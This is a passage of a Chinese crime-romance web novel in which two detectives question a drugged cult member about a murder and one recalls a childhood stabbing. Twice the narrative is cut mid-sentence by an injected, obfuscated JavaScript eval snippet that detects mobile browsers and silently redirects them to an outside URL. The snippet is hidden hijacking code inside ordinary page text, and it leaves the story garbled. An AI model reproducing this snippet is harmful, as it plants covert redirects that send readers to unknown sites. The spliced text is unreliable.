“一家三口,女主人信教后与其他成员发展成地下情/人关系,情/人深夜闯入家中刀刺捅杀男主人,捅伤了孩子,随后和女主人一起失踪。”宋柏顿了顿,“指纹库没有与凶手相匹配的指纹,他们……凶手和女主人仍然是失踪状态。” 这时江桢才像被摁进水里险些溺死的人骤然浮出水面吸入氧气一样,猛地回过神来,吓人的脸色稍缓,失焦发愣的眼睛重新聚起些许神采:“……你没有找到他?” 宋柏不明所以地看着江桢,这个回答和他预想之中的全然不同,好一会儿他才意识到江桢口中的“他”指的是林台坡命案中的凶手,于是遗憾却笃定地摇了摇头:“没有。” 江桢一口气彻底缓了过来。 良久的沉默之后,江桢说:“九八年案发时我五岁,应该不用我向你解释五岁的小孩没有杀人的能力吧?” 宋柏定定地看着他,目光温柔而古怪:“是啊,你只有五岁。” 旋即他放轻声音,仿佛声音再大一点,那话就会化成刀子,把埋藏在极深处的旧疤撕扯得鲜血淋漓:“你是那个小孩。” 你当时是不是很害怕?你会不会怪警察没有帮你抓到那个闯进你家里的人,所以二十年过去了你仍然如履薄冰? 他想这样问下去,喉间却似堵着一块热炭,说不出话。 可是我那时候已经十一岁了,为什么我一点都没发现?他怔忪地想,后知后觉地发现心中徘徊着的怒火皆因过去那个迟钝的自己而起。 “你看了旧案卷?都查清楚了为什么还诈我?”江桢皱起眉,用力想把手从宋柏的牵制中抽出去,却被攥得更紧。 宋柏强硬地翻过江桢的手,第一次认真地打量那道横陈手心的伤疤,那是陈年血案在一个人身上留下的痕迹。暑气难消,江桢的手指像在冰水里浸/透了一样冷。鬼使神差地,宋柏按住那道疤,食指的指腹沿着白痕来回摩挲,想要复原那道被斩断的掌纹,仿佛这样可以弥合江桢颠沛的命运。 江桢立刻更厉害地挣/扎起来,这种感觉其实很奇怪,就像被掀开皮囊,露出令人嫌弃的溃烂血肉一样。从小到大,他遇到的包括江起山在内的每个人,对这件悲惨往事的态度都是选择避而不谈,宋柏却像恨不得感同身受一样,想要替他分担漫长岁月中的余痛。 这种强烈的被关怀感让他想逃,想吐。 心中每一丝一毫对这轻微的抚慰的留恋,都让他看清楚自己是多么软弱。 “是你先骗我的。”宋柏声音透着怒火被强自抚平后的沙哑,耐心而强硬地按着江桢的手,直到他完全不再试着抽回去为止,“现在可以告诉我了吗,这道疤是怎么留下的。” “……”江桢的声音极轻,像不想惊动暗处蛰伏着的梦魇,“那个人用刀捅我,我攥住了刀尖。” 他垂下眼,手掌上的白色疤痕化作结起的血痂,血痂脱落,露出新鲜的伤口,柔嫩掌心上的皮肉因为伤口太深而可怖地向外翻卷,几乎可以看见骨头。时光倒流,打进车内的斑驳树影扭曲成暗红色,他踩着一地血腥的痕迹,回到二十年前。 “所以刀子没捅到我,之后我晕过去了,不知怎么就活了下来。”他闭上眼,借这个动作抵抗他不愿回想起的部分,但已经来不及了。 回忆如同上涌的潮水,一浪一浪,将他淹没。 他听到一个女人尖叫着“别动我儿子”,熟悉的卧室门随着声浪旋转,恍惚中他的视线不受控制地投向地面,那里躺着生父的尸体。死不瞑目的男人和他对视,张开手攥紧他的脚踝,想要把他拖回那地狱般的一/夜。他踉跄着向后躲,紧接着一只沉稳而有力的手拉住他,一瞬间近在咫尺的血腥味轻烟般消散,他看见宋柏的脸。 傍晚余晖从江桢背后的车窗投在宋柏脸上,他在明暗交界处用力握住了江桢伤痕累累的手。 宋柏说:“你可以相信我了吗?” 他的表情就像在说,从此以后不会再有朝向你的刀尖了,因为有个人会为你挡住这个世界上所有不怀好意的锋刃,他的手愿意为你握住刀尖。 江桢愣住半晌,随即觉得很荒谬。他怎么会不相信宋柏?明明他才应该是不被相信的那个。 宋柏的手紧了紧,这是在催促他回答。他迟疑了一下,控制不住地说,“好”。然后他回握宋柏的手,就像达成某种同盟,宋柏立刻更用力地握住他的手。 “现在指纹识别技术发达,迟早有一天我们会找到你说的那个人,他威胁不到你的。”宋柏顿了顿,问,“你转学也是因为这个吗,怕牵连身边的人?” 江桢似乎没想到他会把这两件事联系在一起,眼睛中一丝惊讶转瞬即逝,随后自嘲般苦笑了一下,说:“……对,我是怕他还会找到我……但是现在没关系了。” “对……现在没关系了。”他喃喃道,平静得有些木然,和刚刚简直判若两人,“他不会再回来了。” 还没等宋柏从他的语气中品出一丝古怪,忽然嘭嘭两声,车门在他背后被叩响,紧接着一张脸贴得极近,出现在驾驶座这一侧的窗玻璃外,宋柏一扭头,正对上童海幽怨的眼睛。 江桢忙抽回自己的手,慌乱中他的动作像触电一样,只能又此地无银地抬手捂住下半张脸,假装咳嗽着看向另外一侧。 好在童海并没有发现什么异常,宋柏摇下车窗,实习警员顶着像鬼一样的乌青眼袋,有气无力地扒着窗沿,“宋队,我找你们找得好苦啊……怎么谁都不接电话……” 宋柏一摸口袋,空空如也,这才想起刚刚急着把江桢拽进来,手机随手扔在了车后排,拿起来一看,屏幕上整整齐齐一串未接来电,足有十几通之多。 什么事情这么着急? 宋柏心下一动,就听见童海说:“洪二发清醒了,医生说他现在的状态可以接受讯问!” . 急性精神分/裂经过治疗,一般都可以矫正。洪二发浑浑噩噩的几天,终于慢慢代谢药物之后清醒了过来。童海这几天都熬在医院,心情和被发配边疆不得重用的将军一样郁闷,因此看到自己日夜看守的人醒了他异常激动,打宋柏电话不接,于是楼上楼下,前院后院地跑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426902|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍,长宁中心医院很大,等在停车场找到组织的时候,这个学校内本届体能前三的实习警察已经累得像死狗一样了。 医生为他们准备了一间神经内科办心理咨询室用的独立病房,一行三人上去时洪二发已经在里面等着了。童海对几天前洪二发在讯问室咬人自残的光辉事迹有所耳闻,所以出去找人时没忘用手铐把人铐在床上。洪二发一双手的手腕都被他自己拧脱臼了,宋柏推门进去,他正哎呦哎呦地喊痛。 短短几天时间,这个原本身形健硕的中年男人就已经有些脱相了,他的额头已经消肿,被血透和外伤的疼痛折磨得颧骨都突出了一些,见到宋柏,想起什么什么似的颤/抖道:“是……是你……” 宋柏扯了张椅子,和江桢一起坐在洪二发对面,童海已经得了暂时休息的赊令,带着胡三算楼下吃旋转小火锅去了,独立病房内十分安静,只有洪二发夹着粗重喘息的喃喃自语。 “不可能,不可能……我怎么在这儿?小军儿呢?秀兰呢?他们刚还在的,他们刚刚还在陪我说话!”他焦虑地在室内寻找妻儿的身影,浑浊的眼睛中闪动着一丝茫然,就像刚刚被迫从仙境重返人间。 “洪二发!”宋柏厉声喝道,“别装神弄鬼,是谁让你借买纸钱接近岳小伟,谁给了你驱邪符纸?” 洪二发盯着宋柏,目光神经质地在宋柏和江桢身上来回游动,仿佛要将他们两个的样子牢牢记住,那以伺报复的眼神带着狠戾,就像野兽落入捕兽夹,做出垂死挣/扎一样,他从喉咙里发出意义不明的低吼:“自在神不会饶恕你们的,即使你们日后跪在我面前,神也不会饶恕你们,你们对伏魔大将军不敬,今晚就要被剥皮喝血,人头落地……” 江桢皱眉,向前走了一步。这个动作对洪二发而言像是威胁一样,他竟然瑟缩了一下,即使畏惧只是转瞬即逝,却还是清楚地落在了对面两人眼里。 江桢和宋柏对视一眼,后者给了他一个示意上前的眼神,轻轻向洪二发那边偏了偏头。 他立刻会意,拿起上楼前从宋柏后备箱里拿出的背包,取出里面的东西,赫然是在集装箱中被发现的自在神神像。 也许是被拎着头发撞墙的记忆还在,洪二发似乎很怕江桢,江桢越是靠近,他就越是向背后墙角蜷缩,无形的压迫让他刚刚重获一丝清醒的脑袋归于混乱,见到神像,这人竟然起身跪在床上,不顾屋内的两个警察,口中念念有词地对着神像跪拜起来! 两人冷眼看着洪二发疯疯癫癫地拜了一会儿,江桢重重一拍洪二发的肩膀,后者身体猛烈一抖,指着他的脸对着神像道:“神啊,降罪于他吧,杀了他——” “你真的相信一堆破铜烂铁可以杀人么?” 洪二发惧怕而又痛恨的这个年轻警察有着姣好清俊的一张脸,他没什么表情,如冷面修罗,伸手握住铜像手上的莲花降魔杵,只是微微用力,咔一声脆响,那法器轻而易举地被他拧了下来。 咔、咔、咔。 钵、水壶、手鼓,洪二发虔信蕴藏神力的法器,一个一个,都被江桢掰了下去。他看着眼前的这一幕,嘴唇发/抖,就像被掰断的不是法器而是自己的骨头一样,面色如同死灰,迅速地衰败下去。 最后江桢掏出湿巾用力一抹,黑色的涂漆缓缓剥落,露出下面大自在天的真容。去掉伪饰的神庄严沉静,嘴角噙着一丝温柔的微笑,额间的第三只眼睛闭着,既不神秘也不狰狞。 洪二发急促地喘息着,看着神。 神一脚趺坐,因此上身微微前倾,回报给信徒以慈悲的眼睛。 17.第十七章 “这,这是……”洪二发死死瞪着江桢手中的神像,活像见了鬼。 “这是湿婆的形象之一,佛教称呼这位神祇为大自在天。把它的脸涂掉,手上粘上法器,一罐黑漆,一支502,它就成了你的自在神。”宋柏站起身,从江桢手中拿过尚有胶痕的法器,给洪二发看,“一个连真容都不肯示人的神,怎么可能让人成仙,这种鬼话你也信?” “不可能,你们警察只会骗人!”洪二发单手被铐在床上,另一只手打着石膏,不顾疼痛急切地翻动宋柏手中的东西,法器与手粘合处做得很仔细,干了的胶水边缘还带着和神像颜色类似的金属色粉。 “警察骗了你什么?”江桢敏感地从他的话中捕获了蛛丝马迹,“你之前和警察往来过吗?” 紧接着他意识到什么,立刻试探着继续说:“在你儿子失踪的时候?” 洪二发抬起布满血丝的眼睛,狠狠剜了江桢一眼:“你知道什么?你什么都不知道,小军儿丢的时候才那么小,他只认得我妈和我,只认得回家的路,他就算和大人走散了也只是走回家……他咋可能自己走丢?是有人把他抱走了!可我去报警,他们立了案却又说没办法,找不着,警察不是有本事吗,如果立案了怎么可能找不着?!” 一九九七年,警察工作主要依靠走访摸排的年代,也正是拐卖团伙猖獗,拐卖案件频发的年代,洪二发的儿子在那么多人的集市上被拐,调查难度可想而知。 “警察骗人?”宋柏冷笑一声,“自在门没有骗人,没有骗你说拜神家里人就能往生成仙,没有骗你说喝符水你儿子就能回来?!” “菩萨……菩萨没有骗我,我吃了灵药……吃了灵药真的见到了,就在你们来之前,他们还在这儿,是你们警察来了他们就不出来了,他们刚刚还在这儿……” 宋柏转身从包里抽出另一个物证袋,里面装着的是和自在神像一起被找到的黄/色符纸,洪二发的目光立刻贪/婪地追上那黄符,他情不自禁地抽/动鼻翼,仿佛那是世间最珍贵的东西。 “你吃的是这个吧。”宋柏那双任何犯罪分子看了都要颤三颤的眼睛紧盯洪二发,“你知道这里面有什么吗?画这个东西的墨里有药,有致幻剂,你这是在吸/毒!” 洪二发文化程度低,可能一下理解不了什么是致幻剂,却明白吸/毒是一件多么可怕的事情,他一下被震住了,像是不能相信,愣了半晌之后自言自语道:“我没有吸/毒,我吃的是灵药,这怎么有药?有药也是灵药——” “假如世间真有灵药,”他的话说到一半就被江桢打断了,“你老婆焦秀兰怎么会死?” “你他/妈的找死!” 他这句话简直就是在往人最听不得最要命的地方戳,洪二发的脸唰一下憋得通红,精钢手铐被他挣/扎地铿铿作响,吼出连篇脏话,宋柏见状就要上前,被江桢轻轻拦住了。 “洪二发,你是一个明白人。自在神对你这么好,为什么不干脆复活你老婆,把你儿子直接送回来?你为了神连人都敢杀,为什么只能和他们在梦里相见?”江桢循循善诱,语调轻柔,近乎蛊惑,“会不会哪儿出错了?会不会杀错人了?否则你怎么在这里被警察拷着,你怎么没有登仙?‘菩萨’是怎么和你说的?” 洪二发不骂了,呆呆地看着他。 江桢继续说:“如果你愿意告诉我们更多‘菩萨’的事,我们愿意帮你找你儿子。” 宋柏一个眼神过来,意思是“你这样违规了”。 江桢置若罔闻:“我们比自在神快多了,想试试吗?” “……”洪二发喘着粗气,看看宋柏手里的黄符纸,又看看江桢,谨慎地问:“那张纸里,真的有毒/品?” “在你身体里也检测出了同一种毒/品,需要医生先进来把报告单念给你听吗?”宋柏冷哼一声,“你没有吸死,没有吸疯,已经算得上幸运了。” 洪二发的脸色变了又变,手指止不住发颤:“你、你们为什么说杀错人了,什么人,那不是恶鬼吗?” 事到如今他还在相信邪教那套无稽之谈! 宋柏一把揪住他的衣领,几乎把他从床上拎了起来,另一手打开手机相册,里面正是在寿衣店现场拍摄的岳小伟的尸体,洪二发只瞥了一眼就控制不住地呕了一下,那些癫狂的记忆似乎随着岳小伟陈尸的照片缓缓复苏,他使劲挣/扎,却拗不过宋柏,只能被迫盯着尸体的照片,一张一张地看下去。 “这是恶鬼吗?”宋柏手背上的青筋暴起,手机几乎抵在了洪二发的鼻尖上,“你不是伏魔将军吗,那你怎么这么害怕,现在知道害怕了?说话!” 洪二发/抖似筛糠,终于忍不住大声干呕起来,他输液几天没有吃饭,什么东西都没吐/出来,鼻涕眼泪糊了一脸,看起来狼狈不堪,半分没有刚醒来自诩为“将军”的样子。 “不敢看了吗?你以为只有你有老婆儿子有老娘?你杀岳小伟的时候想没想过,他老家还有八十多岁的老娘等着养活?” 宋柏一扬手,把这个色厉内荏的草包扔回床上,“你戴着的那颗木珠,刻它的人现在就在隔壁躺着,有人因为他和自在门教团搅合在一起想要弄死他,就在警察眼皮底下!你猜那个‘菩萨’会不会让人像你弄死岳小伟一样弄死你?” 洪二发摔在被褥上,鼻腔里满是消毒水的气味,可再浓的消毒水都洗不掉他身上的血腥味,他用力揉/搓鼻尖,拉扯着自己的头发,锤自己的头,想把杀人那晚的所有细节悉数抹去,可那怎么可能,一切都是徒劳无功,他呜呜地哭了起来。 这场景要多诡异有多诡异,刚刚还在叫嚣的嫌疑人转眼就成了床上的软肉一滩,口中胡言乱语不止,仔细一听,都是在不知对着谁求饶。 江桢蹲下身,平视洪二发的眼睛。这个动作吓了后者一跳,更多的鼻涕眼泪一起涌出来,江桢却没露出嫌弃的表情,伸手按住洪二发颤/抖不止的肩膀。 他的目光看向前方,仿佛在透过洪二发看另一个人,另一个轻信他人,动手杀人的懦夫:“我知道……我都明白。” 宋柏眉梢重重一跳,看向江桢,不明白他究竟在说什么。 江桢呓语般说:“我知道,你只是很想回去,你恨不得回到过去,妻儿都在的时候,一切都还没有发生,妻子给你做一桌热饭,儿子抱着你的腿叫你爸爸,你根本不想杀岳小伟,如果再给你一次机会……但一切都来不及了。” 洪二发的脸扭曲到极点,声音在绝望中细若蚊呐:“你不知道……你根本不知道……” 焦秀兰十七岁就认识他了。 她爱笑,能干能说,头发乌黑油亮,散发着洗发水的香味。 她死的时候也不过三十岁,一直喊疼,那声音像厉鬼在哭,根本不是人能发出的动静。洪二发摸着她干枯稀疏的头发,和她保证,对儿子好,以后不再娶。 后来洪军丢了,送走老娘,洪二发抱着两个女人的骨灰,到市区找活干。市区很大,就算在夜里也灯火通明。洪二发彻夜干活,回来的路上,看着路灯,想,如果秀兰跟他出来就好了,她喜欢亮堂堂的。他走回家,路上小卖部门口有辆摇摇车,太久了,已经报废了,风刮过车身上的破洞,跟哭似的呜呜响。 洪军如果在,是会爱玩这个的。 他贴告示,发传单,回家喝酒,喝得烂醉,焦秀兰和洪军也没有出现在他的梦里。 直到他开始拜神。第一次拜神回来,喝过灵药,一切都不一样了。他看见焦秀兰,看见自己死了的老娘,看见洪军。 那天晚上,他关上灯,看着出租屋外星星点点的灯火,轻声感叹说,真好。黑暗之中,焦秀兰站在他背后,搂着他,一只手按在他的手背上,和他一起看着橙红黄绿的灯光,声音轻得如同叹息。 焦秀兰说,是啊真好,你别哭了,真好。 那之后的每一天,每一次双手捧上供奉,他都期待着再次喝下灵药,可菩萨只给他符水,符水喝起来和自来水没什么区别,符水没有那么“灵”。 他给的钱少,“菩萨”本来对他很冷淡,直到今年,“菩萨”突然找到他,说自在神愿意再赐灵药,问他愿不愿意做伏魔大将军。他当然愿意,甚至乐意得跪下了,对着神像和“菩萨”五体投地,“菩萨”扶起他,什么都没说,递给他一个寿衣店的地址和一张照片。 . “洪二发的老娘孔福梅生前信佛,一年前,孔福梅忌日在即,洪二发到化智寺为她化解‘冤亲债主’,在胡同里遇到自在门教众,被吸纳入教。根据他的描述,我们推测教团会给新入教的成员服食致幻剂,大部分成员体验过一次之后就会对自在神的存在深信不疑,按时上缴供奉,自在门借此敛财。” 晚上八点,宋柏常开的那辆红旗警察汇入络绎车流,手机开着扬声器放在江桢膝上,电话另一边人声喧闹,杨繁的声音隐约传来:“老板,再来十串腰子!” 随后是戴奇恨铁不成钢的声音:“小点声,和你宋队打电话呢!滚边上吃去,吃完给我漱口再过来。” 宋柏深吸一口气,问:“你们在哪儿?” “楼下大排档,卫副支队非说要不正经吃点饭他会猝死,这不下来吃炒方便面来了吗,你说,你继续说。” 副驾驶上,江桢本在夹着烟望着半开的窗户发呆,听到炒方便面眼睛一亮,转头看了宋柏一眼。 宋柏目视前方,余光瞥到江桢,真想不通他为什么出去读个书回来就变得对垃圾食品如此情有独钟:“馋的你。” 江桢嘿嘿一笑,吐/出一串烟圈,下午回忆往事的压抑一扫而空,他此刻轻松而自得。华灯初上,晚风温柔,江桢仰起头眯着眼,享受迎面而来带着绿意的微风,一泼灯光恰好洒在他的肩颈上,那显眼而精巧的喉结上下轻轻一滚,宋柏忙收回视线。 “据洪二发说,教团成员之间关系松散,都靠一个绰号‘菩萨’的组织者联系,引导他谋害岳小伟的也是‘菩萨’。”宋柏回忆着傍晚洪二发说的话,思考时眉心下意识微微拧起,“‘菩萨’告诉洪二发,岳小伟贪心不足,私纳神供,已经成了‘恶鬼’。” “神供?”戴奇在那边稀里呼噜地吸溜着面条,“岳小伟偷了教团的钱?” 他说完立刻意识到不对,几乎是与宋柏异口同声道:“不。” “如果只是钱,教团不至于大费周章地要了他的命。” 戴奇沉吟片刻,说:“他会不会拿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432309|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是‘灵药’?” 致幻剂lsd,这才是自在门教团内部最重要,也是最不能被外界发现的东西。 “可能性很大。但在他家里没有找到那东西,可能是被他藏了起来,不过更有可能的是……” “——什么?!你不会想说岳小伟把那玩意儿卖出去了吧!!”宋柏没有说完,电话另一头传来卫洲见鬼般的惨叫,听声音感觉卫副支下一秒就要心梗猝死了,“那它岂不是真的正在市里流通?!” “东西出售才会引起教团的注意,教团才会自查有无缺漏,然后找到卖家,也就是偷东西的人。”江桢听着,不知道是不是错觉,宋柏的语气中有一丝揶揄和怜悯,“所以才打电话找你,请你们支队的线人打听一下,最近章宁有没有人搞到‘鲜货’,我们得找到买家。岳小伟死了,刻木珠的刘勇现在还躺在医院里,买家现在很危险。” 今晚无疑又要加班的卫副支队声音打飘,好像已经灵魂出窍了:“好……好,那个‘菩萨’呢?到底是什么人?” “洪二发没有见过‘菩萨’真容。” “什么?!” “洪二发是低级教众,只和‘菩萨’接触过几次,对方一直以斗笠遮面,或带口罩,说是和无面自在神一样,面目不能示人。但洪二发透露‘菩萨’是中年男性,身高在一米七五左右,瘦,腿微跛,已经通知技侦照此特征和刘勇家附近的监控录像对比,‘菩萨’听起来像是教团的话事人,洪二发因为文化程度低、供奉少,所以被选中去干杀害岳小伟的脏活,他被捕之后,‘菩萨’很可能被迫亲自动手,我们高度怀疑网购木珠、袭击刘勇的都是‘菩萨’。” “我真服了洪二发这货……”卫洲的世界观似乎已经被这个装神弄鬼的自在门冲击到濒临极限了。 “这段时间你要辛苦一下了。”宋柏这次倒是情真意切,“还有一件事,黄符纸含有的lsd成分正在实验室检验,张政透露当年他跨境购买的lsd不纯,颜色微黄,这次这批很可能和张政无关。” “这是新的一批,目前来源不明的lsd,戴奇。” “哎!您指示。” 宋柏顿了顿,沉声道:“调一下2018年耿兴平自杀时留下的相关记录,派出/所接警记录、他父母的询问笔录、蓝天救援队的救援总结,只要有关全部找来。” “耿兴平不是自杀?” ——他信仰lsd,就像信仰宗教一样狂热。 像信仰宗教一样狂热。这和利用lsd的致幻效果,巩固自在门在教众心中的地位,直至不可撼动的做法不谋而合,像洪二发那样的教众对自在神深信不疑,实际上不就是因为服药导致的幻觉吗? 宋柏直觉这不是巧合。 “只是有种感觉,先查再说。” 说罢他伸手按断电话,车子正好驶入在支满小吃摊的街口,宋柏停好车,江桢会意,下去找了个卖铁板烧和炒方便面的小推车。 如今食材花样多,小吃摊与时俱进,炒泡面里除了能加火腿肠和包菜丝,还有十几种不同的配菜可以选,宋柏不常吃路边摊,好多花里胡哨的食材都叫不上名字,江桢显然是垃圾食品的专家,对着满满一车乱七八遭的肉肠小丸子如数家珍:“加一份火山烤肠,要切,兰花干辣吗?要辣的,给他那份里也加一串……” 摊主连声答应着,不同的食材在铁板上发出刺啦轻响,和油烟混在一起的香味随白烟腾空而起,江桢靠近宋柏,在他的耳边笑着说:“我想再来一瓶冰豆奶!” 宋柏的心跟着江桢的语尾一起上扬,他的语气也便轻快起来:“行,队长请客。” 江桢拿了两瓶豆奶,在铁板摊旁边找了张折叠桌,用桌沿撬开瓶盖,咕咚咕咚一口气喝下去大半。 宋柏问:“够吗?” 江桢孩子般轻轻哈了口冷气,心满意足地眯起眼睛:“够了。” 不知是不是错觉,说清楚林台坡的旧事之后,他整个人都松泛了许多,幼时就笼罩在他周身的随时绷紧的东西仿佛消失了。宋柏看着他愉快地喝光汽水,在等面的空档在摊位之间溜达,掠过应季水果,直奔热火朝天的烤串摊子而去。 这种样子其实在江桢身上很少见。 他小时候食欲一直很差。哪怕是很小的时候,把吃的东西递给他,得到的也大多是“谢谢,我不吃”的回答。分享零食和玩具是孩子之间最常见的社交方式,江桢既不接受别的小孩难得的好意,也不主动分享自己的东西给谁。他没有朋友,甚至除了宋柏和宋杳没有走得近一点的同龄人。 那时宋柏以为那是因为他性格怯懦,现在才发现,切断和别人的联系是江桢保护身边人的方式,那个潜逃的凶手会不会回来已经不重要了,重要的是那个人给年幼的江桢留下了危机四伏的感觉。从化州到章宁,从南至北,上千公里,那个遁形的凶手令幸存的小孩二十年来把自己当作隐形炸弹一样在人群中孤立无援地行走,令他不能靠近任何人。 宋柏看着江桢慢悠悠地认真享用炒面,忽然很想知道,在他说出来的时候,有没有觉得心里好受了一点,当年的小孩如今从那个血腥的夜晚中逃脱了吗? 但他犹豫片刻,只是说:“小心烫。” 18.第十八章 吃过晚饭,江桢和宋柏一起回家。他们两家所在的家属院距离这条小吃街不远,紧挨着章宁大学,晚上大学没课,学生出校逛街、吃饭,校西门和家属院东门之间夹着的一条街热闹非常,叫卖、笑闹与车铃声此起彼伏。 “同学——”“这位同学!”“哎!同学!” 正因街上吵闹,身后这道怯怯的声音追着两人喊了几次,他们才意识到是在叫自己。江桢回过头一看,是个穿运动服的女生,手中手机屏幕没熄,还开着校园跑界面,应该是章宁大学的学生。 宋柏看这女孩儿未开口先笑,露出一对可爱的小虎牙,忽然心里一阵发紧,一种不妙的感觉油然而生。 下一秒,女孩儿果然不好意思地抬抬握着手机的那只手,问:“这位同学,可以加一下你的联系方式吗?” “哦,我……”江桢好像对这样的搭讪并不意外,一只手就往口袋里摸。那女孩儿又是一笑,点开微信扫码,只等着他把手机递出来。说时迟那时快,在他从口袋里掏出东西的前千分之一秒,宋柏啪一下按住了他的手。 这反应速度简直是闪电一般,其实宋柏自己都还没想明白为什么要拦江桢,只觉得心里有严明纪律一样的东西促使身体率先行动起来,可那是什么纪律呢,是上班期间不允许和陌生人搭话?可他们已经下班了,正在回家的路上。 那女孩看他这样明显瑟缩了一下,宋柏见状上前一步,他个儿高,路灯底下挨近了江桢,一下就把他拢进了一团阴影里。 五官英俊标准如石膏雕像的高个男人冷冰冰地说:“他不加微商。” “!”女孩一哽,据理力争到,“我我我不是微商,是章宁大学的学生!” 说完,她小心翼翼地绕过这个看起来就不好惹的冷脸男,小声问江桢:“同学你也是章大的吧?你是中文系,还是考古系?” 宋柏挨得近,江桢能感受到对方身上的热意,往上瞥一眼,只见宋支队长如临大敌地绷紧下颌,看那不爽的表情不知道的还以为是他被挖了墙角。江桢不由得觉得有点好笑,插在口袋里的手松开了自己的警员证,一本正经道:“我没有微信。” 女孩的表情凝固,脑子没转过弯来似的:“那……那□□呢?” “也没有。” 女孩上下打量了他一下,脸上的讶异混着震惊和不敢相信,问:“你不会还在用小天才电话手表吧?” “他今年三十六了,刚刚还在和女朋友一起吃路边摊,一个三十多岁晚饭还吃炒泡面的男人不值得你要联系方式,同学,下次搭讪前要记得擦亮眼睛,这条街上骗子很多的。”宋柏把江桢往身后一推,冷漠无情地补充道,“哦对了,他用的是老年智能机,所以没有微信也没有□□,毕竟奔四十了。” 女孩睁大眼睛看看他又看看江桢,前者一身凛然正气目光如寒冰一样锐利,后者不住点头那意思是高个儿男说得对,可能是终于意识到这两人组合有点诡异,女孩背后微微发凉,来不及多说别的,嘤一下跑掉了。 江桢看着那女孩的背影,若有所思地问:“我看起来真的有三十六岁吗?” 明亮的路灯为他露出领口的锁骨镀上一层浅淡的阴影,一条街繁华的灯火在他眼睛中温柔地闪动,晚风勾勒出宽大短袖T恤下劲瘦挺拔的身体,让他看起来轮廓分明而又骨肉匀停,分明俊出了一股少年气,这样子就算说是十六岁也有大把人相信。 小时候他只是比别的孩子好看,但并没有如此出众。那时提起江桢,大家的印象都是他既沉默又胆小,好像没人注意到他不俗的样貌。如今七年的警校生活磨去了他那抑郁怯弱的气质,天生优越的相貌就格外引人注意。 不知道他大学时谈过恋爱没有。宋柏冷不丁冒出这么个想法。不过看他刚刚被搭讪的样子,应该是没有。 那个胡半仙曾经说过,他最终的“正缘”是一个比他大的女孩,那女孩明显比他小,本来当警察就忙,还是不要耽误彼此的时间了吧。 话说回来,从他第一天报道的时候宋柏就想问了,这小子到底吃了什么变得这么白,那是种温润、健康的白,这肤色在男人中比较少见,可能也是他格外招人的原因之一。 “还有,我哪有女朋友?”江桢拎着打包回来的烤串,拍拍宋柏的手背,示意他跟上回家了,“刚和我一起吃炒面的不是你……” “以后少吃炒泡面。”宋柏满心都是自家的猪走在路上被陌生白菜拱了的烦躁,“对身体不好,我妈说给你炖了蹄花汤——” 他说到这儿,顿住了。突然想,对了,蹄花汤是不是有美容养颜的功效来着? 从小到大他/妈没少给江桢炖蹄花汤,江桢喝了他宋家这么多蹄花汤,自然养得很白,这么说他招人喜欢至少也有宋家一半功劳,所以这毋庸置疑是他家的猪,他作为宋家的长子有一半管理所有权,这头猪在外面拱不拱白菜当然得问问他的意见。 想到这儿宋柏脱口就是:“你不许找女朋友。” 江桢眨了眨眼,似乎没搞懂这两天他的话题跳跃程度如此之高,但常年跟在宋柏屁/股后面的习惯又让他下意识地乖乖答应:“哦,嗯。” 宋柏狂风暴雨的内心一下风平浪静。 他算了算,宋杳虽然和江桢是同年生人,但生日比江桢早了几个月,应该也算比江桢大,那不就是胡半仙说的那个正缘?再看江桢,在他前面爬台阶,塑料袋随着动作一晃一晃,显然对他这番复杂的心路历程一无所知。 他工作之后就从家属院搬了出去自己住,平时忙也有好久没回家了,现在离家越来越近,他又想起他家和江桢家就住对门,一个单元里的两户,小时候两家门都常开着,方便三个小孩互相乱串,有天晚上也是夏天,也是这个天已经全黑的时候,他/妈妈郑曼冬女士煮着饭,看着正在抽条的江桢,忽然无限伤感:“也不知道我们阿桢以后会便宜了谁。” 厨房里就她和打下手的宋柏两个,过了一会儿,她问宋柏:“我们杳杳怎么样?” 宋柏扭过头看着他那在客厅里抓着在小池塘捡的活青蛙乱跑的妹妹,低头斩白切鸡:“很好啊。” 郑曼冬把他的刀拿走,放下,双手攥住他的肩,眼睛中闪动着兴奋的光:“是吧,你也觉得杳杳和阿桢很合适,是不是?” 当天在蹄花汤的香气里郑女士就擅自做主把这门娃娃亲定了,叮嘱宋柏一定要把弟弟妹妹看好,以后江桢是一定要进宋家的门的。 哒、哒、哒。 这段记忆随着江桢离家越来越近的脚步声逐渐清晰,宋柏一下就意识到刚自己心头的严明纪律是什么了:江桢的正缘应该姓宋!就算拱,他也要拱宋家的白菜! 远在外地读博的宋杳当然不知道亲哥一番思想斗争就给她找了个乘龙快婿,快婿本人显然也没意识到什么,此刻他已经爬到了自家所在的三楼,回过头只看见宋柏脸色变化莫测,时而皱眉时而表情稍缓,不知在想什么。 “家里没人?要不进来待会儿?”江桢拿钥匙开防盗门,对门宋柏家静悄悄的,放在平时郑女士已经开门迎接他们了。 “他俩出去玩了。”宋柏翻了翻手机,上一次他/妈联系他还是因为听说江桢掉水里急得想把他抽成陀螺,通话记录下面跟了一条微信消息,这两天他没来得及看: 「我和你爸去长白山避暑,饿了吃饭渴了喝水,照顾好弟弟,我们一个月就回~」 后面是飞吻,飞吻飞吻。 “出去旅旅游是好事,不像我爸,整天闷在家里。”江桢开了门,宋柏跟进去,回江起山家本来就跟回自己家没什么区别,鞋柜里甚至至今还有属于宋柏的一双拖鞋。 